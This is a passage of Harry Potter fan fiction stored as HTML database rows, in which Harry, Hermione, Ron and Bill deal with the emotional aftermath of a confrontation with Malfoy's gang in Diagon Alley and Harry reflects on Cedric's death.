as\nHarry was carried by the Gryffindors when they won the Quidditch Cup in third\nyear &#8230; the panic on his face as he asked her to help him perfect the Summoning\nCharm, and his shock when he did succeed at one o&#8217;clock in the morning &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">To the majority of the wizarding world, he was\nHarry Potter, Hero &#8211; with everything that that implied.</p>\n\n<p class="MsoBodyTextFirstIndent">To Hermione Granger, he was Harry Potter, <i>friend</i>.\nShe&#8217;d seen him masked and unmasked: from gloriously happy to low and sad, from\nutterly focused and confident to shaken and unsure &#8230; and, all too often, she&#8217;d\ntried to console him whenever he felt that he was to blame for some misfortune\nor other that befell the community he had grown to love.</p>\n\n<p class="MsoBodyTextFirstIndent">She felt his arms wrapping around her, holding\nher tight &#8230; she leaned her head against his chest &#8230; felt his chin resting on\nher head &#8230; and she held him tight &#8230; a sense of comfort and <i>security </i>in\ntheir closeness flowing from one to the other &#8230; heard a familiar voice breaking\nthrough her rampaging thoughts, sounding as if it were coming from a distance,\ncalling out, &#8220;Harry! <i>Harry!</i>&#8221; &#8230; felt him trying to break away from her,\ngently pushing her away &#8230; and for a single, convulsive moment, she held him\ntighter before letting go &#8230;not noticing that tears had spilled from her eyes\nand had wet the front of his shirt &#8230; and she looked up into his eyes &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">And she whispered with fierce intensity, as she\nslowly hit him on the chest, &#8220;<i>It isn&#8217;t always about you, Harry &#8230; do you hear\nme? It &#8230; is &#8230; <u>not</u> &#8230; always &#8230; about &#8230; you!</i>&#8221;</p>\n\n<p class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">He knew that it was Hermione &#8230; and he engulfed\nher in a tight embrace&nbsp; &#8230; felt his body\nsagging for a moment while she held him &#8230; resting his chin on top of her head\n(and thinking, irrelevantly, that her height was just right for him to do that)\n&#8230; and felt the tension and despair draining away from him as he held her close.</p>\n\n<p class="MsoBodyTextFirstIndent">He took a deep breath to compose himself, and\nlet it out in a whoosh &#8230; feeling the tension and fear finally leaving him,\nalthough his mind still gyrated with his jumbled, pained thoughts &#8230; and he\nthanked whatever Divinity there existed in his world for giving him a friend\nlike Hermione.</p>\n\n<p class="MsoBodyTextFirstIndent">It was then that he heard Molly Weasley&#8217;s voice\nbreaking through his fogged mind, calling him &#8230; with a deep breath and a final\nsigh, he tried to disengage himself from Hermione&#8217;s embrace &#8230; only to feel her\nhugging him tightly for a brief moment more&nbsp;\nbefore letting go &#8211; but in the next second, he could feel her hitting\nhim as she said, &#8220;<i>It isn&#8217;t <u>always</u> about you, Harry &#8230; do you hear me?\nIt &#8230; is &#8230; <u>not</u> &#8230; always &#8230; about &#8230; you!</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">He looked into her eyes and saw the concern and\nworry for him there &#8230; he was about to ask, to clarify that statement, when he\nfelt a hand on his shoulder, and turned to see the worried face of Ron &#8230; saw\nGinny leaping into the arms of Bill Weasley (&#8216;where had he come from?&#8217; he\nthought vaguely) &#8230; noticed that Arthur was standing beside Molly, talking to a\nvaguely familiar wizard &#8230; and the Twins to one side &#8230;</p>\n\n<p class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">Ron was cursing himself for having agreed to\nthe Twins&#8217; mad scheme to have <i>him</i> front Weasley&#8217;s Wizard Wheezes to\nZonko&#8217;s.&nbsp; He had to admit, however, that\nthe logic was sound &#8211; the owners of Zonko&#8217;s knew the Weasley Twins as <i>customers</i>\nand inveterate jokers &#8230; it would have taken a major leap of faith for them to\nthink of Gred and Forge as <i>suppliers</i> and <i>manufacturers</i> in their\nown right.</p>\n\n<p class="MsoBodyTextFirstIndent">Admittedly, however, the prospect of a\ncommission from the Twins on the sale (if consummated) was the final icing on\nthe cake. For once, he&#8217;d have his own money to spend, rather than trying to\nmake do with whatever allowance his parents can provide (after spending on\ntheir school supplies and clothes) &#8230; he could go to Hogsmeade and buy out\nHoneydukes &#8230; buy drinks for his friends without thinking of what he would have\nto forego &#8230; and, like Harry, never have to <i>worry</i> about money &#8230; maybe\nwork up the courage to ask Hermione out on a date, just him and her &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8216;<i>Concentrate!</i>&#8217; his brain said (in a\nvoice strangely like Ginny&#8217;s), and he mentally thwapped himself up the head.\nThe presentation of the Twin&#8217;s products had gone surprisingly well &#8230; the fake\nwands and Ton-Tongue Toffee had gone over like a beer and a shot with the\nowners &#8230; he had just started on a presentation of the Canary Creams (complete\nwith photographs from Colin Creevey of Neville&#8217;s &#8220;test&#8221;) when they heard the\ncommotion in the Alley &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">They&#8217;d rushed outside the store with the owners\nin time to see Ginny grabbing the Slytherins&#8217; wands and walking with Hermione\nto stand back-to-back with Harry &#8230; but even from that distance, they could <i>feel</i>\nthe raw energy emanating from the three &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Ron took off, forgetting the deal he was about\nto close &#8230; ignoring the shouts of the Twins as he fought through the crowd &#8230;\nthinking only that, <i>again</i>, he was being left out of things through <i>no\nfault</i> of his own.&nbsp; He wasn&#8217;t with\nHarry and Hermione when the freed Norbert in first year &#8230; had to <i>sacrifice</i>\nhimself in that gigantic chess game &#8230; wsa stillunconscious when they rescued\nSirius from the North Tower &#8230; wasn&#8217;t with them when they practiced Summoning\nCharms for the first task &#8230; and, irrelevantly, his mind locked on something\nhe&#8217;d heard Seamus Finnegan say one time: &#8220;<i>The Dynamic Duo</i>.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">But the crowd wasn&#8217;t cooperating &#8230; although the\nfilling meals of Hogswart had added inches to his height, it hadn&#8217;t built up\nhis bulk &#8211; and he could feel people shoving back as he tried to move forward.\nThere was a temptation &#8211; quickly suppressed &#8211; to draw his wand to blast a way\nthrough &#8230; he found the crowd starting to disperse as Harry, Ginny and Hermione\nwere walking away and he moved faster to catch up &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Only to feel himself grabbed by the arm &#8211; he\nfought to free himself, only to hear a low, quiet voice hissing, &#8220;<i>Leave\nthem, Ron! They need a moment to themselves!</i>&#8221; He turned, face contorting\nwith a snarl &#8211; only to come face to face with his eldest brother &#8230; he realized\nthat it was <i>Bill</i> who had grabbed him, and was holding tight to him.</p>\n\n<p class="MsoBodyTextFirstIndent">His mouth dropped but before he could say\nanything, Bill repeated his words, forcefully: &#8220;Give them a moment, Ron. They\nneed it &#8230; <i>Harry</i> needs it.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">He looked from Bill to the others &#8211; realized\nthat Ginny had fallen back from the other two &#8230; saw that Harry was embracing\nHermione tightly with his chin on her head &#8230; Hermione&#8217;s face hidden in Harry&#8217;s\nchest &#8230; Ron swallowed a lump in his throat, and looked at his eldest brother\nfor a moment, as if he were about to break free from his hold, wishing to break\naway &#8230; but Bill&#8217;s eyes held him rooted to his spot. </p>\n\n<p class="MsoBodyTextFirstIndent">He turned back to his friends &#8230; feeling\nabandoned, alone &#8230; left out of events. </p>\n\n<p class="MsoBodyTextFirstIndent">Again.</p>\n\n<p class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">Harry turned to Ron and felt a brief flicker of\nsome unknown emotion in his chest when he saw that, while Ron was asking about\nhim, his focus was on <i>Hermione</i> &#8230; and then he realized he was still\nholding Hermione&#8217;s hand. He tried to let go (hoping that Ron hadn&#8217;t noticed) --\nand felt a last, encouraging squeeze before Hermione finally released him &#8230; and\nhe moved aside to allow Ron to take his accustomed place between them.</p>\n\n<p class="MsoBodyTextFirstIndent">He vaguely heard Bill explaining to Ginny,\n&#8220;There&#8217;s an emergency meeting of the Gringott&#8217;s curse breakers. I&#8217;d just\napparated in when Hermione was making like Clint Eastwood (&#8216;<i>Clint <u>who</u>?&#8217;\n</i>Harry thought) &#8230; you were magnificent, Gin.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry gave a guilty start &#8211; he&#8217;d forgotten all\nabout Ginny! He took a step towards her, and placed a hand on her shoulder, asking,\n&#8220;Are you OK, Ginny?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">There was a flicker of &#8230; sadness? regret? <i>anger?\n</i>in her brown eyes as she replied, &#8220;I&#8217;m fine, Harry &#8230; thanks,&#8221; before she\nturned away. He looked at her curiously &#8230; there was something <i>different</i>\nabout her &#8230; something he knew should have been obvious but was not &#8230; but he was\ndistracted by Bill suddenly grabbing his hand, saying, &#8220;That was <i>brilliant</i>,\nHarry. I&#8217;ve never seen anything like it since the Dueling Club at Hogwarts &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">As Bill talked on, Harry kept looking at Ginny\nuncertainly. She <i>said</i> she was fine &#8230; but she was acting strangely, as if\na mere &#8220;Boo!&#8221; would make her jump right out of her fair skin &#8230; but he didn&#8217;t\nknow what to do. He looked around for help and saw Hermione and Ron &#8230;</p>\n\n<p class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Are you all right, Hermione?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">He was looking at her intently, as if it was\nthe first time he had seen her &#8230; and not as if she hadn&#8217;t been a constant\ncompanion for the past four years. </p>\n\n<p class="MsoBodyTextFirstIndent">She didn&#8217;t respond at once &#8230; she wasn&#8217;t looking\nat him. Her eyes, apparently defocused, seemingly glazed, were looking\nelsewhere &#8211; and he knew, without asking, that she was looking towards where <i>Harry</i>\nwas.</p>\n\n<p class="MsoBodyTextFirstIndent">And the memories started falling into place &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;<i>Has anyone seen a toad? Neville&#8217;s lost one</i>.&#8221;\nWith those words, Hermione Granger had stepped into his life &#8230; or rather, had\nwalked into <i>their</i> lives &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Or perhaps, more correctly, into <i>Harry&#8217;s</i>\nlife.</p>\n\n<p class="MsoBodyTextFirstIndent">It had been that way from the very beginning,\nhe knew. He&#8217;d caught Harry&#8217;s eyes following her when she&#8217;d been Sorted into\nGryffindor &#8230; it was <i>Harry</i> that she&#8217;d run to, screaming &#8220;<i>You solved\nit, you solved it!</i>&#8221; in second year &#8230; <i>Harry</i> that she&#8217;d been trying to\nprotect when she turned in his Firebolt to McGonagall in third year &#8230; <i>Harry </i>that\nshe&#8217;d stuck with in the months immediately after he was named Hogwarts Champion\nlast year.</p>\n\n<p class="MsoBodyTextFirstIndent"><i>They&#8217;d</i> had their moments too, he knew &#8230;\nafter all, <i>he&#8217;d </i>cast the charm which knocked out the troll on Halloween\n&#8230; he&#8217;d hidden out with Hermione in Moaning Myrtle&#8217;s bathroom while they brewed\nthe Polyjuice Potion &#8230; <i>he </i>was with Hermione for her first excursion to\nHoneydukes in third year, returning pink-faced from the cold and looking as if\nthey&#8217;d had the time of their lives &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">But the truth was, no matter the moments they&#8217;d\nshared &#8230; they could never really <i>compare</i> to the &#8220;quality time&#8221; she&#8217;d\nspent with Harry: saving his life during his first-ever Quidditch match, while\nhe stood frozen in the stands, urging her on &#8230; finishing each other&#8217;s thoughts\nas they pondered Tom Riddle&#8217;s diary while he belittled their efforts &#8230; rescuing\n<i>Sirius</i> in third year while he lay unconscious in the hospital wing &#8230;\nperfecting the Summoning Charm last year while he sulked like a rat, wishing to\njoin but too proud (and admittedly, <i>ashamed</i>)<i> </i>to do so &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">. How could his moments with her compare &#8230; he&#8217;d\n<i>resented</i> her at the start, culminating in that spiteful statement to\nHarry, &#8220;<i>It&#8217;s no wonder no one can stand her </i>&#8230; <i>she&#8217;s a nightmare,\nhonestly</i>&#8220; &#8211; which triggered the whole troll incident &#8230; constantly bickering\nwith her in second year, first over their homework and then about Lockhart &#8230;. their\nawful fight in third year, first over Harry&#8217;s Firebolt and <i>then</i> with the\ntraitorous Scabbers &#8230; and (he sighed to himself), finally, the one that we&#8217;ve\nall been waiting for: the Yule Brawl.</p>\n\n<p class="MsoBodyTextFirstIndent">He was so engrossed in his thoughts (while\ncontinuing to stare at her) that he almost jumped out of his skin when she\nnear-shouted in his face, &#8220;<i>Ron! Have I got dirt on my nose or something?</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&nbsp;&#8220;Huh &#8211;\nurk,&#8221; he shook his head, caught his senses, and repeated his question, &#8220;Are you\nall <i>right</i>, Hermione?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Her eyes softened as she recognized the care\nand concern in his voice and eyes &#8230; and he thought again how adorable she\nlooked, biting her lower lip with her now perfect teeth (which, he remembered\nsourly, was a result of a ricocheting curse from <i>Harry</i>) &#8230; and felt a\nsurge of warmth as she gave him a swift hug, saying, &#8220;I&#8217;m all right. Thanks,\nRon.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">He finally smiled &#8211; and felt another wave of\nwarmth enfold him as she&nbsp; continued in a\nlow, confiding voice, &#8220;I hope Ginny&#8217;s all right, however.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Ginny?&#8221; he responded, surprised and a bit\nashamed that he&#8217;d thought of <i>her</i> first rather than his sister. &#8220;She&#8217;s\nall right, she&#8217;s with Bill &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">And he felt a chill chase away the warmth in\nhis chest when he realized that, although Hermione was asking about Ginny, her <i>eyes</i>\nwere on <i>Harry</i>.&nbsp; </p>\n\n<p class="MsoBodyTextFirstIndent">He was about to comment &#8230; to say something, <i>anything</i>\nto draw her attention back to him &#8230; when he saw Harry glance at her &#8230; saw her\nshrug her shoulders at him &#8230; saw Harry nodding in acceptance before turning\nback to Bill and Ginny &#8230; and he knew that a conversation had taken place.</p>\n\n<p class="MsoBodyTextFirstIndent">A conversation that he could not, for the life\nof him, have listened in on.</p>\n\n<p class="MsoBodyTextFirstIndent">A silent conversation that was happening more\nfrequently between the two &#8211; and something that many others, including himself,\nhad noticed.</p>\n\n<p class="MsoBodyTextFirstIndent">A conversation that, <i>again</i>, he was <i>not</i>\npart of.</p>\n\n<p class="MsoBodyTextFirstIndent">He wanted to ask what they&#8217;d discussed &#8230; just\nso he could be <i>part</i> of it all again, but saw his parents approaching\nthem with another wizard in tow.</p>\n\n<p class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione watched as the older wizards\napproached Harry. She knew that he was worried about Ginny, but the latter was\nin good hands already &#8230; which was why she&#8217;d shrugged at his silent question to\nher. She knew he understood &#8211; his nod showed that much &#8211; and she found herself\nhoping that this day would end &#8230; that they could be back in the Burrow before a\nwarming fire, reading their school books for the coming year.</p>\n\n<p class="MsoBodyTextFirstIndent">She was as surprised as Ron, however, when\nHarry apparently recognized the older wizard wearing a top hat who had joined\nthe Weasleys, &#8220;Mr. Diggle! I remember you!,&#8221; Harry said as Arthur and Molly\napproached him with the other wizard. &#8220;You were at the Leaky Cauldron the first\ntime I went there with Hagrid &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Mr. Diggle shook his hand enthusiastically, but\nthey all noticed tears shining in his eyes. &#8220;Bless the boy, he remembers! I am\nimpressed &#8230; most impressed! All the stories about the Tri-Wizard Tournament &#8230; I\ncould see why you won! Most wizards wouldn&#8217;t even have <i>thought</i> of\nducking a curse &#8230; but you did &#8230;&#8220;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry flushed at his onslaught of\nadmiration.&nbsp; He didn&#8217;t think that <i>that</i>\nhad been any great achievement &#8230; it was <i>survival</i> at that moment.&nbsp; He glanced at Hermione and shrugged, knowing\nthat she was smirking at his discomfort at the admiration from the older\nwizard. He vaguely heard Mr. Diggle prattle on while still shaking his hand,\n&#8220;And your young lady! That was most admirable &#8230; the way she caught Mr. Malfoy&#8217;s\nwand, and pointing her wand at <i>them</i>! They&#8217;d have tried something, I\ndaresay, if she hadn&#8217;t stopped them!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Oh!&#8221; Harry pulled his hand away from Mr.\nDiggle&#8217;s and turned to introduce them. &#8220;Hermione Granger, this is Mr. Dedalus\nDiggle &#8230; we met at the Leaky Cauldron years ago. Mr. Diggle, Miss Hermione\nGranger &#8230; she&#8217;s been my best friend, along with Ron, ever since I started at\nHogwarts &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Pleased to meet you, Miss Granger,&#8221; said Mr.\nDiggle, but now looking at Hermione with keen interest. &#8220;Granger? Uhmm &#8230; aren&#8217;t\nyou &#8230; ummm &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione flushed, unsure of how to respond to\nthis but Mr. Diggle, noting this, continued, &#8220;Ah, well &#8230; one must not believe\nall that one reads, of course. Especially if it comes from the poisonous pen of\nRita Skeeter!&nbsp; She&#8217;s got nothing <i>good</i>\nto say about <i>anyone</i> &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione smiled. &#8220;Thank you, Mr. Diggle. It&#8217;s\nnice meeting you.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Might I ask something, young lady?&#8221; Hermione\nfrowned. &#8220;What you said to those two buffoons &#8230; was that a curse or something?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I &#8230; I did?&#8221; she said, apparently confused but\ninternally appalled that <i>someone</i> had picked up on <i>that</i>.&nbsp; &#8220;I &#8230; I don&#8217;t remember saying <i>anything</i>\n&#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&nbsp;&#8220;Of\ncourse you did, Hermione,&#8221; Ginny broke in.&nbsp;\n&#8220;You were saying something like, &#8216;<i>Make my day!</i>&#8217;&nbsp; Crabbe and Goyle simply <i>froze</i> &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Ah &#8230; errr &#8230;&#8221; Hermione flushed again, her face\nnow an interesting shade of red which would have done justice to the Weasley\nfamily&#8217;s hair, while stealing nervous glances at Harry&#8217;s clueless face.&nbsp; No one noticed Bill Weasley&#8217;s wide, wide\ngrin as he watched her expression.&nbsp; She\nwas saved from replying, however, when Mr. Diggle finally took his leave.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Well!&#8221; Mr. Weasley said.&nbsp; &#8220;At least that&#8217;s over &#8230; although I would\nhave given up a lot to see Lucius Malfoy&#8217;s face! He&#8217;ll take a <i>long</i> time\nto live that down!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Arthur!&#8221; Molly said warningly. &#8220;We haven&#8217;t\neven started our errands and &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Quite right, quite right!&#8221; he said,\nembarrassed. &#8220;We can discuss this later at lunch. So, where are you all headed\nnow?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">The twins said that they had to get back to\nZonko&#8217;s with Ron.&nbsp; Ron looked hesitant\nabout leaving Hermione, but she nudged him away, saying that she still had to\nhave her Muggle money changed.&nbsp; Harry,\nMrs. Weasley, and Ginny still had to go to the bank to get some money &#8211; and\nBill, of course, still had his meeting with the goblins and other\ncurse-breakers.</p>\n\n<p class="MsoBodyTextFirstIndent">They decided to split up again, with the\nWeasley&#8217;s <i>pere et fil </i>&nbsp;joining\nMrs. Weasley and Ginny, with Harry and Hermione, while Ron was to join the\ntwins back at Zonko&#8217;s.&nbsp; They agreed to\nmeet at Florean&#8217;s ice cream parlor in thirty minutes or so, and then would\nlunch at the Leaky Cauldron before proceeding with their shopping.</p>\n\n<p class="MsoBodyTextFirstIndent">As they were about to split up, however, Harry\nturned to Hermione, &#8220;What <i>did </i>you shout at Crabbe and Goyle, Mione?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">To everyone&#8217;s surprise (except Bill, who\nstifled a snicker), Hermione blushed again, and started stammering, &#8220;Nothing &#8230;\nnothing &#8230; it&#8217;s just a slip of the tongue &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">A full-bodied belly laugh suddenly erupted from\nBill Weasley, who replied, &#8220;I&#8217;ll say &#8230; it is <i>sooo</i> appropriate,\nHermione!&#8221; The others looked at him in shock, unsure of why ...&nbsp; except for Hermione who looked as if she\nwere wishing she could just disappear into the ground &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">&nbsp;&#8220;Did\nyou <i>really </i>say, &#8216;<i>Go Ahead! Make My Day</i>?&#8221; Bill asked. &#8220;I saw that\nmovie in Cairo &#8230; they were doing a Clint Eastwood festival &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">The others, including Harry, were puzzled &#8211;\nClint <i>WHO</i>? Hermione, however, turned away, not wanting to look at Harry\nor the others.&nbsp; She turned back,\nhowever, when Bill addressed her directly, &#8220;Hermione? Care to tell them what\nthat movie was?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;The movie was &#8230;&#8221; Hermione&#8217;s voice dropped, and\nshook her head.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Dirty Harry.&#8221; Bill completed, to be followed\nby another laugh.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;<i>Dirty <b>Harry</b></i>?&#8221; Ron said, incredulously.&nbsp; He took in Hermione&#8217;s blushing, Bill&#8217;s\nlaughter, Harry&#8217;s open-mouthed cluelessness about the title and gave his\nopinion: &#8220;That&#8217;s bloody &#8230; <i>brilliant</i>!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Silence descended. And then &#8230; Ginny giggled,\nfollowed by snickers from the Twins &#8230; and then Arthur Weasley let loose with a\nbelly laugh &#8230; and they were soon laughing their heads off, except for Hermione\nand Harry, who were looking at each other with bemused expressions.</p>\n\n&nbsp;\n\n\n\n\n\n\n'),
	(125, 7, ' <p>Epiphanies</p> Chapter 6.&nbsp; Expectations and Realizations <p>It was &#8230; <i>cute</i>. </p>\n\n<p>It was &#8230; <i>endearing</i>. </p>\n\n<p>It was &#8230; <i>charming.</i></p>\n\n<p>It brought back memories of other times, other people &#8230; and one special witch in particular, which brought a slicing ache to his heart.&nbsp; </p>\n\n<p>The sight brought a wistful smile to the tanned face of Bill Weasley as he watched his youngest brother&#8217;s best friends walking in front of him, weighed down with the results of the day&#8217;s shopping at Diagon Alley.</p>\n\n<p>Or rather &#8230; <i>Harry </i>was the one carrying the burden of the day&#8217;s shopping:&nbsp; slightly hunched, both arms drooping from bags full of books (Hermione&#8217;s purchases probably making up the bulk of these), while Hermione walked beside him carrying a bag emblazoned with the name of Madam Malkin&#8217;s shop.&nbsp; He was telling Hermione something, his face alight with an inner mirth while she was giving him her full attention, although her face was glowing with its own mischief.</p>\n\n<p>It must have been <i>some</i> joke, Bill thought with amusement, as he watched Hermione shift the bag she was carrying to her other hand, and proceeded to swat at Harry&#8217;s head.&nbsp; The latter, however, neatly evaded her hand and, moving a few steps away, stuck out his tongue at his friend.</p>\n\n<p>A smile and a shake of her head were Hermione&#8217;s only response; in the next moment, she had stepped closer to Harry, linked her arm around his elbow, and leaned her head with its bushy crop of hair on his arm.&nbsp; Harry, on the other hand, had moved his arm around her waist &#8211; a move which she copied so effortlessly, so naturally, that a dispassionate observer would have thought they&#8217;d done this a hundred or a thousand times before &#8230; and the two continued walking down the road without missing a beat.</p>\n\n<p>&#8220;Do you believe in platonic love?&#8221;</p>\n\n<p>The question was so startling, so <i>unexpected</i>, that Bill almost missed a step; turning sharply, he cast an upraised eyebrow at his youngest brother, who&#8217;d been walking quietly beside him all the time. </p>\n\n<p>Ron stared back, unblinking, although a slight blush was making its way up his face &#8230; and Bill gaped at him in surprise.&nbsp; He was <i>not</i> expecting this &#8230; there was <i>nothing</i> that he could see in the times he&#8217;d seen the infamous Trio together to even indicate that Ron was interested in <i>that</i> way towards the female member of the group.&nbsp; He knew about Ginny and her crush on The Boy-Who-Lived &#8230; he&#8217;d read Rita Skeeter&#8217;s story about Hermione being Harry&#8217;s girlfriend when the Triwizard champions were announced &#8230; and his mother had almost blistered his ear off with her anger and disgust at the girl for playing with the affections of Harry <i>and</i> Viktor Krum in the hours before they went to Hogwarts to watch the Third Task.</p>\n\n<p>He&#8217;d been full of admiration for the way Harry had handled his mother in the Great Hall when Hermione approached them &#8230; at the straightforward manner with which he&#8217;d confronted the uneasy situation (although he did wonder why Hermione blushed when Harry refuted the Skeeter&#8217;s reports) &#8230; and he could still remember Hermione&#8217;s barely-in-control panic when they&#8217;d gone to the Hospital Wing after the Third Task to ask about Harry -- and learned that he wasn&#8217;t there &#8230;</p>\n\n<p>The memories of that night flooded back &#8230; seeing a bedraggled and befuddled Harry walking in with Dumbledore and a large black dog &#8230; his mother giving a muffled cry and nearly bowling over a shocked and shaken Hermione, who&#8217;d stood there frozen at the sight of her friend looking like he&#8217;d been through seven levels of hell &#8230; </p>\n\n<p>And a snapshot from that night flashed into his mind &#8230; a picture buried in the avalanche of shocking revelations that the night had brought. He&#8217;d caught Harry and Hermione exchanging a glance &#8230; a single <i>look</i> that made him avert his eyes, <i>feeling </i>that he&#8217;d walked into a room without knocking, make a mental note to himself that it was <i>not <u>polite</u></i> to listen in on a private conversation &#8230; and mentally thwapping himself in the same second as he realized that there had been <i>no</i> conversation between the two friends.</p>\n\n<p>But, he reflected, watching the two ahead of him, they may as well have been <i>talking</i> &#8230;</p>\n\n<p>He shook his head at the memory; and was startled when Ron commented in a slightly bitter voice, &#8220;I didn&#8217;t think so.&#8221; </p>\n\n<p>With that, Ron turned away and walked into the crowds that thronged Diagon Alley.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>This was &#8230; <i>nice</i>, Harry thought, an arm loaded with books around Hermione, her head resting on his shoulder and <i>her</i> arm around him, as they walked in step down the familiar path towards Florean Fortescue&#8217;s ice cream parlor. The tension and fear that enveloped him after the confrontation with Malfoy and his gang had dissipated &#8230; he felt at peace with the world, at peace with himself &#8230; warm and contented in the comforting embrace of his best friend.</p>\n\n<p>She was like the sister he never had and wanted &#8230; no, that he <i>needed</i>, <i>prayed for</i> through all the painful years of growing up, alone and unwanted, with the Dursleys. Someone who understood him &#8230; someone who really, truly, <i>cared</i> for <i>him &#8230; </i>who would stand beside him in any conflict &#8230; who was always looking out for him.&nbsp; Someone that he could share his fears and nightmares with, knowing that she would never laugh at him, never sneer at him &#8230; would always <i>understand</i> that, beneath the unruly hair and the famous scar, was a scared, oftentimes <i>frightened</i> little boy who never felt he was good enough &#8230; who often felt that he was to blame for everything bad that happened to him and to his friends &#8230;</p>\n\n<p>&#8220;<i>It isn&#8217;t always about you, Harry &#8230; do you hear me? It &#8230; is &#8230; <u>not</u> &#8230; always &#8230; about &#8230; you!</i>&#8221;</p>\n\n<p>The words echoed and re-echoed in his mind &#8230; the words she muttered as she kept hitting him on the chest earlier that day &#8230; and, at some point between the time they&#8217;d separated from the others and before he reached his Gringotts&#8217; vault, the realization came: his best friend was right.</p>\n\n<p>As always.</p>\n\n<p><i>He</i> wasn&#8217;t to blame for the fight that morning &#8230; <i>Malfoy</i> started it, using his well-honed talent for getting under his skin to <i>provoke</i> him. There were those, he knew, who would think that <i>he</i> was to blame &#8230; that Malfoy and his cronies were only trying to get back at him after the humiliation they&#8217;d suffered on the train back from Hogwarts, but the fact remained: <i>Malfoy</i> started it, insulting Ron and Hermione and <i>then</i> insulting Cedric for good measure&nbsp; &#8230;</p>\n\n<p>And for a brief, horrifying moment, Harry was back in the graveyard, Cedric on his back, mouth open, grey eyes staring up at the empty sky &#8230; and he felt his neck stiffen as he stopped himself from <i>physically </i>shaking the memory off &#8230;</p>\n\n<p>&#8220;<i>It &#8230; is &#8230; </i>not &#8230; <i>always &#8230; about &#8230; you!</i>&#8221;</p>\n\n<p><i>He</i> may have been the ultimate target of Voldemort &#8230; <i>he</i> may have provided the &#8216;blood of the enemy, forcibly taken&#8217; that Voldemort needed to complete the spell &#8230; but if he <i>hadn&#8217;t</i> touched the Triwizard Cup, Cedric would <i>still</i> be dead &#8211; Disarmed and then <i>Avada Kedavra&#8217;d </i>by Voldemort without a thought or even the offer of a duel. There was no other way to look at it &#8230; Cedric had been the clear winner at the end of the Third Task, but it was the 